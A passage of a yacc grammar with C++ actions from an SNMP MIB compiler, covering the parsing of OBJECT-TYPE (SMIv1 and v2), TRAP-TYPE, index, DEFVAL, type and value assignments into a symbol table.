newOidComponentList->AddTail( new SIMCOidComponent(
$3->s, $3->line, $3->column,
$1->name, $1->line, $1->column));
delete $1;
delete $3;
}
| LITNUMBER
{
char *badName = theParser->GenerateSymbolName();
SIMCBuiltInValueReference *val =
new SIMCBuiltInValueReference(
theParser->integerType,
0, 0,
new SIMCIntegerValue($1->number, $1->isUnsigned, $1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule,
$1->line, $1->column);
theModule->AddSymbol( val);
SIMCOidComponent *comp = new SIMCOidComponent (
theModule->GetSymbol(badName),
$1->line, $1->column,
NULL, 0, 0);
delete badName;
newOidComponentList->AddTail(comp);
delete $1;
}
;
ObjectTypeV1Definition: NAME OBJECTYPE SyntaxPart AccessPart
StatusPart DescrPart ReferPart IndexPart DefValPart
AllowedCCE ObjectID
{
switch(theParser->GetSnmpVersion())
{
case 2:
{
theParser->SyntaxError(V1_OBJECT_TYPE_DISALLOWED);
}
break;
default:
{
if($3)
{
SIMCObjectTypeV1 * type = new SIMCObjectTypeV1(
$3->s, $3->line, $3->column,
$4->a, $4->line, $4->column,
$5->a, $5->line, $5->column,
$8->indexList, $8->line, $8->column,
($6)? $6->name : NULL, ($6)? $6->line : 0, ($6)? $6->column : 0,
($7)? $7->name : NULL, ($7)? $7->line : 0, ($7)? $7->column : 0,
$9->name, $9->symbol, $9->line, $9->column );
char *badName = theParser->GenerateSymbolName();
SIMCBuiltInTypeReference * typeRef = new SIMCBuiltInTypeReference (
type, badName, SIMCSymbol::LOCAL, theModule,
$2->line, $2->column );
theModule->AddSymbol(typeRef);
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theModule->GetSymbol(badName),
$2->line, $2->column,
$11->s, $11->line, $11->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
// Remove the symbol for the type reference from the module
// And delete it
theModule->RemoveSymbol(badName);
delete type;
delete typeRef;
delete newIndexList;
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theModule->GetSymbol(badName),
$2->line, $2->column,
$11->s, $11->line, $11->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
newIndexList = new SIMCIndexList;
delete badName;
}
}
break;
}
delete $1;
delete $2;
delete $3;
delete $4;
delete $5;
delete $6;
delete $7;
delete $8;
delete $9;
delete $11;
}
|
NAME OBJECTYPE SyntaxPart AccessPart
StatusPart DescrPart ReferPart IndexPart DefValPart AllowedCCE error
{
theParser->SyntaxError(OBJECT_IDENTIFIER_VALUE);
delete $1; delete $2; delete $3; delete $4;
delete $5; if($6) delete $6; if($7) delete $7; delete $8; delete $9;
delete newIndexList;
newIndexList = new SIMCIndexList;
}
|
NAME OBJECTYPE error AllowedCCE ObjectID
{
theParser->SyntaxError(ERROR_OBJECT_TYPE, $1->line, $1->column, NULL, $1->name);
theParser->SyntaxError( SKIPPING_OBJECT_TYPE, $1->line, $1->column, NULL, $1->name);
delete $1;
delete $2;
delete $5;
delete newIndexList;
newIndexList = new SIMCIndexList;
}
;
SyntaxPart: SYNTAX Type
{
delete $1;
if($2)
$$ = $2;
else
{
$$ = NULL;
theParser->SyntaxError(SYNTAX_CLAUSE);
YYERROR;
}
}
|
SYNTAX error
{
delete $1;
$$ = NULL;
theParser->SyntaxError(SYNTAX_CLAUSE);
YYERROR;
}
;
AccessPart: ACCESS NAME
{
SIMCObjectTypeV1::AccessType a;
if ((a=SIMCObjectTypeV1::StringToAccessType($2->name)) == SIMCObjectTypeV1::ACCESS_INVALID)
{
theParser->SemanticError(theModule->GetInputFileName(),
OBJ_TYPE_INVALID_ACCESS,
$2->line, $2->column,
$2->name);
$$ = NULL;
YYERROR;
}
else
$$ = new SIMCAccessInfo(a, $2->line, $2->column);
delete $1;
delete $2;
}
| ACCESS error
{
$$ = new SIMCAccessInfo(SIMCObjectTypeV1::ACCESS_INVALID,
$1->line, $1->column) ;
theParser->SyntaxError(ACCESS_CLAUSE);
delete $1;
YYERROR;
}
;
StatusPart: STATUS NAME
{
SIMCObjectTypeV1::StatusType a;
if ((a=SIMCObjectTypeV1::StringToStatusType($2->name)) == SIMCObjectTypeV1::STATUS_INVALID)
{
theParser->SemanticError(theModule->GetInputFileName(),
OBJ_TYPE_INVALID_STATUS,
$2->line, $2->column,
$2->name);
$$ = NULL;
YYERROR;
}
else
$$ = new SIMCStatusInfo(a, $2->line, $2->column);
delete $1;
delete $2;
}
| STATUS error
{
$$ = new SIMCStatusInfo(SIMCObjectTypeV1::STATUS_INVALID,
$1->line, $1->column);
theParser->SyntaxError(STATUS_CLAUSE);
delete $1;
YYERROR;
}
;
DescrPart: DESCRIPTION LITSTRING
{
$$ = $2;
delete $1;
}
| empty
{
$$ = NULL;
}
| DESCRIPTION error
{
theParser->SyntaxError(DESCRIPTION_CLAUSE);
$$ = NULL;
delete $1;
YYERROR;
}
;
ReferPart: REFERENCE LITSTRING
{
$$ = $2;
delete $1;
}
| empty
{
$$ = NULL;
}
| REFERENCE error
{
theParser->SyntaxError(REFERENCE_CLAUSE);
$$ = NULL;
delete $1;
YYERROR;
}
;
IndexPart: INDEX LBRACE IndexTypes RBRACE
{
$$ = new SIMCIndexInfo(newIndexList, $1->line, $1->column);
newIndexList = new SIMCIndexList;
delete $1;
delete $2;
}
| empty
{
$$ = new SIMCIndexInfo(newIndexList, 0, 0);
}
| INDEX error
{
$$ = NULL;
delete newIndexList;
newIndexList = new SIMCIndexList;
theParser->SyntaxError(INDEX_CLAUSE);
delete $1;
YYERROR;
}
;
IndexTypes: IndexType
| IndexTypes COMMA IndexType
;
IndexType: Type
{
if($1)
{
newIndexList->AddTail(new SIMCIndexItem(
$1->s, $1->line, $1->column));
delete $1;
}
}
| QualifiedName
{
if($1)
{
newIndexList->AddTail(new SIMCIndexItem(
$1->s, $1->line, $1->column));
delete $1;
}
}
;
DefValPart: DEFVAL LBRACE DefValValue RBRACE
{
$$ = $3;
delete $1;
delete $2;
}
| empty
{
$$ = new SIMCDefValInfo(NULL, NULL, 0, 0);
}
| DEFVAL error
{
delete $1;
$$ = new SIMCDefValInfo(NULL, NULL, 0, 0);
theParser->SyntaxError(DEFVAL_CLAUSE);
YYERROR;
}
;
DefValValue:TRUE_VAL
{
$$ = new SIMCDefValInfo(NULL, theParser->trueValueReference,
$1->line, $1->column);
delete $1;
}
| FALSE_VAL
{
$$ = new SIMCDefValInfo(NULL, theParser->falseValueReference,
$1->line, $1->column);
delete $1;
}
| LITNUMBER
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->integerType, 0, 0,
new SIMCIntegerValue($1->number, $1->isUnsigned,
$1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule));
$$ = new SIMCDefValInfo(NULL,theModule->GetSymbol(badName),
$1->line, $1->column) ;
delete $1;
delete badName;
}
| LBRACE ObjectIDComponentList RBRACE
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol( new SIMCBuiltInValueReference(
theParser->objectIdentifierType,
0, 0,
new SIMCOidValue(newOidComponentList),
badName,
SIMCSymbol::LOCAL, theModule,
$1->line, $1->column
));
$$ = new SIMCDefValInfo(NULL, theModule->GetSymbol(badName),
$1->line, $1->column) ;
delete badName;
delete $1;
newOidComponentList = new SIMCOidComponentList;
}
| LITSTRING
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->octetStringType,
0, 0,
new SIMCOctetStringValue(FALSE, $1->name, $1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule));
$$ = new SIMCDefValInfo(NULL,theModule->GetSymbol(badName),
$1->line, $1->column);
delete $1;
delete badName;
}
| LIT_HEX_STRING
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->octetStringType,
0, 0,
new SIMCOctetStringValue(FALSE, $1->value, $1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule));
$$ = new SIMCDefValInfo(NULL,theModule->GetSymbol(badName),
$1->line, $1->column);
delete $1;
delete badName;
}
| LIT_BINARY_STRING
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->octetStringType,
0, 0,
new SIMCOctetStringValue(TRUE, $1->value, $1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule));
$$ = new SIMCDefValInfo(NULL,theModule->GetSymbol(badName),
$1->line, $1->column);
delete $1;
delete badName;
}
| NIL
{
$$ = new SIMCDefValInfo(NULL, theParser->nullValueReference,
$1->line, $1->column);
delete $1;
}
| NAME
{
$$ = new SIMCDefValInfo(NewString($1->name), NULL, $1->line,
$1->column);
delete $1;
}
| ID DOT NAME
{
SIMCSymbol **s;
if( strcmp($1->name, theModule->GetModuleName()) == 0 )
{
if( !(s = theModule->GetSymbol($3->name) ))
theModule->AddSymbol(
new SIMCUnknown($3->name, SIMCSymbol::LOCAL,
theModule, $3->line,
$3->column, 0) );
$$ = new SIMCDefValInfo( NULL,
theModule->GetSymbol($3->name), $3->line, $3->column);
}
else
{
SIMCModule *m = theModule->GetImportModule($1->name);
if(m)
{
if( ! ( s = m->GetSymbol($3->name) ) )
{
theParser->SemanticError(theModule->GetInputFileName(),
IMPORT_SYMBOL_ABSENT,
$3->line, $3->column,
$3->name, $1->name);
$$ = new SIMCDefValInfo( NULL, NULL, $3->line, $3->column);
}
else
$$ = new SIMCDefValInfo( NULL, s, $3->line, $3->column);
}
else // Module is not mentioned in imports
{
theParser->SemanticError(theModule->GetInputFileName(),
IMPORT_MODULE_ABSENT,
$1->line, $1->column,
$1->name);
$$ = new SIMCDefValInfo( NULL, NULL, $3->line, $3->column);
}
}
delete $1;
delete $3;
}
;
/* OBJECT-TYPE from SNMPV2SMI */
ObjectTypeV2Definition: NAME OBJECTYPE SyntaxPart UnitsPart MaxAccessPartV2
StatusPartV2 DescrPart ReferPart IndexPartV2 DefValPart
AllowedCCE ObjectID
{
switch(theParser->GetSnmpVersion())
{
case 1:
{
theParser->SyntaxError(V2_OBJECT_TYPE_DISALLOWED);
}
break;
default:
{
if ($3)
{
SIMCObjectTypeV2 * type = new SIMCObjectTypeV2(
$3->s,
$3->line,
$3->column,
($4)? $4->name : NULL,
($4)? $4->line:0,
($4)? $4->column:0,
( SIMCObjectTypeV2::AccessType ) ($5->a),
$5->line,
$5->column,
( SIMCObjectTypeV2::StatusType ) ($6->a) ,
($6)? $6->line : 0,
($6)? $6->column : 0,
$9->indexList,
$9->line,
$9->column,
$9->augmentsClause,
($7)? $7->name : NULL,
($7)? $7->line : 0,
($7)? $7->column : 0,
($8)? $8->name : NULL,
($8)? $8->line : 0,
($8)? $8->column : 0,
$10->name,
$10->symbol,
$10->line,
$10->column );
char *badName = theParser->GenerateSymbolName();
SIMCBuiltInTypeReference * typeRef = new SIMCBuiltInTypeReference (
type, badName, SIMCSymbol::LOCAL, theModule,
$2->line, $2->column );
theModule->AddSymbol(typeRef);
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theModule->GetSymbol(badName),
$2->line, $2->column,
$12->s, $12->line, $12->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
// Remove the symbol for the type reference from the module
// And delete it
theModule->RemoveSymbol(badName);
delete type;
delete typeRef;
delete newIndexListV2;
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theModule->GetSymbol(badName),
$2->line, $2->column,
$12->s, $12->line, $12->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
newIndexList = new SIMCIndexList;
delete badName;
}
}
break;
}
delete $1;
delete $2;
if($3) delete $3;
delete $4;
delete $5;
delete $6;
delete $7;
delete $8;
delete $9;
delete $10;
delete $12;
}
;
MaxAccessPartV2: MAXACCESS NAME
{
SIMCObjectTypeV2::AccessType a;
if ((a=SIMCObjectTypeV2::StringToAccessType($2->name)) == SIMCObjectTypeV2::ACCESS_INVALID)
{
theParser->SemanticError(theModule->GetInputFileName(),
OBJ_TYPE_INVALID_ACCESS,
$2->line, $2->column,
$2->name);
$$ = NULL;
YYERROR;
}
else
$$ = new SIMCAccessInfoV2(a, $2->line, $2->column);
delete $1;
delete $2;
}
| MAXACCESS error
{
$$ = new SIMCAccessInfoV2(SIMCObjectTypeV2::ACCESS_INVALID,
$1->line, $1->column) ;
theParser->SyntaxError(ACCESS_CLAUSE);
delete $1;
YYERROR;
}
;
StatusPartV2: STATUS NAME
{
SIMCObjectTypeV2::StatusType a;
if ((a=SIMCObjectTypeV2::StringToStatusType($2->name)) == SIMCObjectTypeV2::STATUS_INVALID)
{
theParser->SemanticError(theModule->GetInputFileName(),
OBJ_TYPE_INVALID_STATUS,
$2->line, $2->column,
$2->name);
$$ = NULL;
YYERROR;
}
else
$$ = new SIMCStatusInfoV2(a, $2->line, $2->column);
delete $1;
delete $2;
}
| STATUS error
{
$$ = new SIMCStatusInfoV2(SIMCObjectTypeV2::STATUS_INVALID,
$1->line, $1->column);
theParser->SyntaxError(STATUS_CLAUSE);
delete $1;
YYERROR;
}
;
UnitsPart: UNITS LITSTRING
{
delete $1;
$$ = $2;
}
| empty
{
$$ = NULL;
}
;
IndexPartV2: INDEX LBRACE IndexTypesV2 RBRACE
{
$$ = new SIMCIndexInfoV2(newIndexListV2, $1->line, $1->column);
newIndexListV2 = new SIMCIndexListV2;
delete $1;
delete $2;
}
| AUGMENTS LBRACE QualifiedName RBRACE
{
delete $1;
delete $2;
$$ = new SIMCIndexInfoV2(NULL, $3->line, $3->column, $3->s);
}
| empty
{
$$ = new SIMCIndexInfoV2(NULL, 0, 0);
}
| INDEX error
{
$$ = NULL;
delete newIndexListV2;
newIndexListV2 = new SIMCIndexListV2;
theParser->SyntaxError(INDEX_CLAUSE);
delete $1;
YYERROR;
}
;
IndexTypesV2: IndexTypeV2
| IndexTypesV2 COMMA IndexTypeV2
;
IndexTypeV2: IMPLIED QualifiedName
{
if($2)
{
newIndexListV2->AddTail(new SIMCIndexItemV2(
$2->s, $2->line, $2->column, TRUE));
}
delete $1;
delete $2;
}
| QualifiedName
{
if($1)
{
newIndexListV2->AddTail(new SIMCIndexItemV2(
$1->s, $1->line, $1->column));
delete $1;
}
}
;
TrapTypeDefinition: NAME TRAPTYPE EnterprisePart VarPart DescrPart
ReferPart AllowedCCE NumericValue
{
SIMCTrapTypeType * type = new SIMCTrapTypeType(
$3->s, $3->line, $3->column,
$4,
($5)?$5->name: NULL, ($5)? $5->line: 0, ($5)? $5->column:0,
($6)?$6->name:NULL, ($6)?$6->line:0, ($6)?$6->column:0);
char *badName1 = theParser->GenerateSymbolName();
SIMCBuiltInTypeReference * typeRef = new SIMCBuiltInTypeReference (
type, badName1, SIMCSymbol::LOCAL, theModule,
$2->line, $2->column);
theModule->AddSymbol(typeRef);
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theModule->GetSymbol(badName1),
$2->line, $2->column,
$8->s,
$8->line, $8->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
// Remove the symbol for the type reference from the module
// And delete it
theModule->RemoveSymbol(badName1);
delete type;
delete typeRef;
delete newVariablesList;
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theModule->GetSymbol(badName1),
$2->line, $2->column,
$8->s,
$8->line, $8->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
newVariablesList = new SIMCVariablesList;
delete badName1;
delete $1;
delete $2;
delete $3;
if($5) delete $5;
if($6) delete $6;
delete $8;
}
|
NAME TRAPTYPE error AllowedCCE NumericValue
{
theParser->SyntaxError( SKIPPING_TRAP_TYPE, $1->line, $1->column,
NULL, $1->name);
delete newVariablesList;
newVariablesList = new SIMCVariablesList;
delete $1;
delete $2;
delete $5;
}
| NAME TRAPTYPE error AllowedCCE error
{
theParser->SyntaxError( SKIPPING_TRAP_TYPE, $1->line, $1->column,
NULL, $1->name);
delete newVariablesList;
newVariablesList = new SIMCVariablesList;
delete $1;
delete $2;
}
;
EnterprisePart: ENTERPRISE ObjectID
{
$$ = $2;
delete $1;
}
| ENTERPRISE error
{
delete $1;
theParser->SyntaxError(ENTERPRISE_CLAUSE);
YYERROR;
}
;
VarPart: VARIABLES LBRACE VarTypeListForTrap RBRACE
{
delete $1;
delete $2;
$$ = newVariablesList;
}
| empty
{
$$ = newVariablesList;
}
| VARIABLES error
{
$$ = newVariablesList;
theParser->SyntaxError(VARIABLES_CLAUSE);
delete $1;
YYERROR;
}
;
VarTypeListForTrap: VarTypesForTrap
;
VarTypesForTrap: VarTypeForTrap
| VarTypesForTrap COMMA VarTypeForTrap
;
VarTypeForTrap: QualifiedName
{
if($1)
{
newVariablesList->AddTail(
new SIMCVariablesItem($1->s, $1->line, $1->column));
delete $1;
}
}
;
VarTypeList: VarTypes
;
VarTypes: VarType
| VarTypes COMMA VarType
;
VarType: UncheckedQualifiedName
;
UncheckedQualifiedName:
NAME
{
delete $1;
}
| ID DOT NAME
{
delete $1;
delete $3;
}
;
Typeassignment: ID AllowedCCE Type
{
if ($3)
{
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedTypeReference (
$3->s, $3->line, $3->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount())
);
// delete (*s);
}
else
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
}
else
theModule->AddSymbol( new SIMCDefinedTypeReference (
$3->s, $3->line, $3->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
}
delete $1;
if($3)
delete $3;
}
;
Type: BuiltinType
| SubType
;
BuiltinType: _BOOLEAN
{
$$ = new SIMCSymbolReference(theParser->booleanType,
$1->line, $1->column);
delete $1;
}
| OBJECT IDENTIFIER
{
$$ = new SIMCSymbolReference(theParser->objectIdentifierType,
$1->line, $1->column);
delete $1;
delete $2;
}
| Octetstring
{
$$ = new SIMCSymbolReference(theParser->octetStringType,
$1->line, $1->column);
delete $1;
}
| NIL
{
$$ = new SIMCSymbolReference(theParser->nullType,
$1->line, $1->column);
delete $1;
}
| QualifiedIdOrIntegerOrBits NNlist
{
if( $2 && $1 )
{
char *badName = theParser->GenerateSymbolName();
if($1->s == theParser->integerType)
{
theModule->AddSymbol(new SIMCBuiltInTypeReference (
new SIMCEnumOrBitsType($1->s, $1->line, $1->column,
$2, SIMCEnumOrBitsType::ENUM_OR_BITS_ENUM),
badName,
SIMCSymbol::LOCAL,
theModule, $1->line, $1->column) );
}
else if ($1->s == theParser->bitsType)
{
theModule->AddSymbol(new SIMCBuiltInTypeReference (
new SIMCEnumOrBitsType($1->s, $1->line, $1->column,
$2, SIMCEnumOrBitsType::ENUM_OR_BITS_BITS),
badName,
SIMCSymbol::LOCAL,
theModule, $1->line, $1->column) );
}
else
{
theModule->AddSymbol(new SIMCBuiltInTypeReference (
new SIMCEnumOrBitsType($1->s, $1->line, $1->column,
$2, SIMCEnumOrBitsType::ENUM_OR_BITS_UNKNOWN),
badName,
SIMCSymbol::LOCAL,
theModule, $1->line, $1->column) );
}
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
delete $1;
}
else if($1)
$$ = $1;
else
$$ = NULL;
}
| SequenceOf Type
{
if($2)
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInTypeReference (
new SIMCSequenceOfType($2->s, $2->line, $2->column),
badName,
SIMCSymbol::LOCAL,
theModule,
$1->line, $1->column) );
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
}
else
$$ = NULL;
delete $1;
if($2)
delete $2;
}
| SEQUENCE LBRACE ElementTypes RBRACE
{
delete $1;
if(newSequenceList)
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInTypeReference (
new SIMCSequenceType(newSequenceList),
badName,
SIMCSymbol::LOCAL,
theModule) );
$$ = new SIMCSymbolReference (
theModule->GetSymbol(badName), $1->line, $1->column);
delete badName;
newSequenceList = new SIMCSequenceList;
}
else
{
theParser->SyntaxError(SEQUENCE_DEFINITION);
newSequenceList = new SIMCSequenceList;
$$ = NULL;
}
}
| SEQUENCE LBRACE error RBRACE
{
theParser->SyntaxError(SEQUENCE_DEFINITION);
$$ = NULL;
delete $1;
}
;
QualifiedIdOrIntegerOrBits: INTEGER
{
$$ = new SIMCSymbolReference(theParser->integerType, $1->line, $1->column);
delete $1;
}
| BITSXX
{
$$ = new SIMCSymbolReference(theParser->bitsType, $1->line, $1->column);
delete $1;
}
| QualifiedId
;
NNlist: LBRACE NamedNumberList RBRACE
{
$$ = newNamedNumberList;
newNamedNumberList = new SIMCNamedNumberList;
}
| empty
{
$$ = NULL;
}
| LBRACE error RBRACE
{
$$ = NULL;
delete newNamedNumberList;
newNamedNumberList = new SIMCNamedNumberList;
theParser->SyntaxError(INTEGER_ENUMERATION);
}
;
NamedNumberList: NamedNumber
| NamedNumberList COMMA NamedNumber
;
NamedNumber: NAME LPAREN NamedNumberValue RPAREN
{
newNamedNumberList->AddTail(new SIMCNamedNumberItem($3->s, $3->line, $3->column,
$1->name, $1->line, $1->column));
delete $1;
delete $3;
}
;
NamedNumberValue: NumericValue
| DefinedValue
;
NumericValue: LITNUMBER
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->integerType, 0, 0,
new SIMCIntegerValue($1->number, $1->isUnsigned,
$1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule) );
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
delete $1;
}
| LIT_HEX_STRING
{
// attempt to convert it to a signed long
register char *cp = $1->value;
if(strlen(cp) > 8)
{
theParser->SemanticError(theModule->GetInputFileName(),
INTEGER_TOO_BIG,
$1->line, $1->column);
}
for (long i = 0; *cp; cp++ )
{
i *= 16;
i += HexCharToDecimal(*cp);
}
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->integerType, 0, 0,
new SIMCIntegerValue(i, TRUE, $1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule) );
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
delete $1;
}
| LIT_BINARY_STRING
{
register char *cp = $1->value;
if(strlen(cp) > 32)
{
theParser->SemanticError(theModule->GetInputFileName(),
INTEGER_TOO_BIG,
$1->line, $1->column);
}
for (long i = 0; *cp; cp++ )
{
i <<= 1;
i += *cp - '0';
}
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->integerType, 0, 0,
new SIMCIntegerValue(i, TRUE, $1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule) );
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
delete $1;
}
;
ElementTypes: ElementTypes COMMA NamedType
| NamedType
;
NamedType: NAME Type
{
if(!theModule->GetSymbol($1->name) )
theModule->AddSymbol( new SIMCUnknown($1->name, SIMCSymbol::LOCAL, theModule, $1->line,
$1->column, 0));
if ($2)
newSequenceList->AddTail(new SIMCSequenceItem(
$2->s, $2->line, $2->column,
theModule->GetSymbol($1->name),
$1->line, $1->column));
else
theParser->SyntaxError(SEQUENCE_DEFINITION);
delete $1;
delete $2;
}
;
ToleratedOIDAssignment: NAME AllowedCCE ObjectID
{
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$3->s, $3->line, $3->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
}
}
else
theModule->AddSymbol( new SIMCDefinedValueReference (
theParser->objectIdentifierType,
$1->line, $1->column,
$3->s, $3->line, $3->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
delete $1;
delete $3;
}
;
Valueassignment: NAME Type AllowedCCE Value
{
if($4 && $2)
{
SIMCSymbol ** s = theModule->GetSymbol($1->name);
if(s) // Symbol exists in symbol table
{
if( typeid(**s) == typeid(SIMCUnknown) )
{
theModule->ReplaceSymbol( $1->name,
new SIMCDefinedValueReference (
$2->s, $2->line, $2->column,
$4->s, $4->line, $4->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column,
(*s)->GetReferenceCount()) );
// delete (*s);
}
else
{
theParser->SemanticError(theModule->GetInputFileName(),
SYMBOL_REDEFINITION,
$1->line, $1->column,
$1->name);
}
}
else
{
theModule->AddSymbol( new SIMCDefinedValueReference (
$2->s, $2->line, $2->column,
$4->s, $4->line, $4->column,
$1->name, SIMCSymbol::LOCAL, theModule,
$1->line, $1->column) );
}
}
if($4)
delete $4;
if($2)
delete $2;
delete $1;
}
;
Value: BuiltinValue
| DefinedValue
;
BuiltinValue: TRUE_VAL
{
$$ = new SIMCSymbolReference(theParser->trueValueReference,
$1->line, $1->column);
delete $1;
}
| FALSE_VAL
{
$$ = new SIMCSymbolReference(theParser->falseValueReference,
$1->line, $1->column);
delete $1;
}
| LITNUMBER
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (theParser->integerType,
0, 0,
new SIMCIntegerValue($1->number, $1->isUnsigned,
$1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule));
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
delete $1;
}
| LIT_HEX_STRING
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->octetStringType,
0, 0,
new SIMCOctetStringValue(FALSE, $1->value, $1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule));
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete $1;
delete badName;
}
| LIT_BINARY_STRING
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->octetStringType,
0, 0,
new SIMCOctetStringValue(TRUE, $1->value, $1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule));
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete $1;
delete badName;
}
| LBRACE ObjectIDComponentList RBRACE
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol( new SIMCBuiltInValueReference(
theParser->objectIdentifierType, 0, 0,
new SIMCOidValue(newOidComponentList),
badName, SIMCSymbol::LOCAL, theModule));
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName), 0, 0);
delete badName;
newOidComponentList = new SIMCOidComponentList;
}
| LBRACE NameList RBRACE
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol( new SIMCBuiltInValueReference(
theParser->bitsType, 0, 0,
new SIMCBitsValue(newNameList),
badName, SIMCSymbol::LOCAL, theModule));
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName), 0, 0);
delete badName;
newNameList = new SIMCBitValueList;
}
| LITSTRING
{
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInValueReference (
theParser->octetStringType, 0, 0,
new SIMCOctetStringValue(FALSE, $1->name, $1->line, $1->column),
badName,
SIMCSymbol::LOCAL,
theModule));
$$ = new SIMCSymbolReference(theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
delete $1;
}
| NIL
{
$$ = new SIMCSymbolReference(theParser->nullValueReference,
$1->line, $1->column);
delete $1;
}
;
NameList : Name
| NameList COMMA Name
;
Name : NAME
{
newNameList->AddTail(new SIMCBitValue($1->name, $1->line, $1->column) );
}
;
DefinedValue: QualifiedName
;
empty: ;
Octetstring: OCTET STRING
{
$$ = $1;
delete $2;
}
| OCTETSTRING
;
SequenceOf: SEQUENCEOF
| SEQUENCE OF
{
$$ = $1;
delete $2;
}
;
SubType: Type SubtypeRangeSpec
{
if($1 && $2)
{
// Create a range sub type
SIMCRangeType *type = new SIMCRangeType ($1->s,
$1->line, $1->column, $2);
char *badName = theParser->GenerateSymbolName();
theModule->AddSymbol(new SIMCBuiltInTypeReference (
type,
badName,
SIMCSymbol::LOCAL,
theModule) );
$$ = new SIMCSymbolReference( theModule->GetSymbol(badName),
$1->line, $1->column);
delete badName;
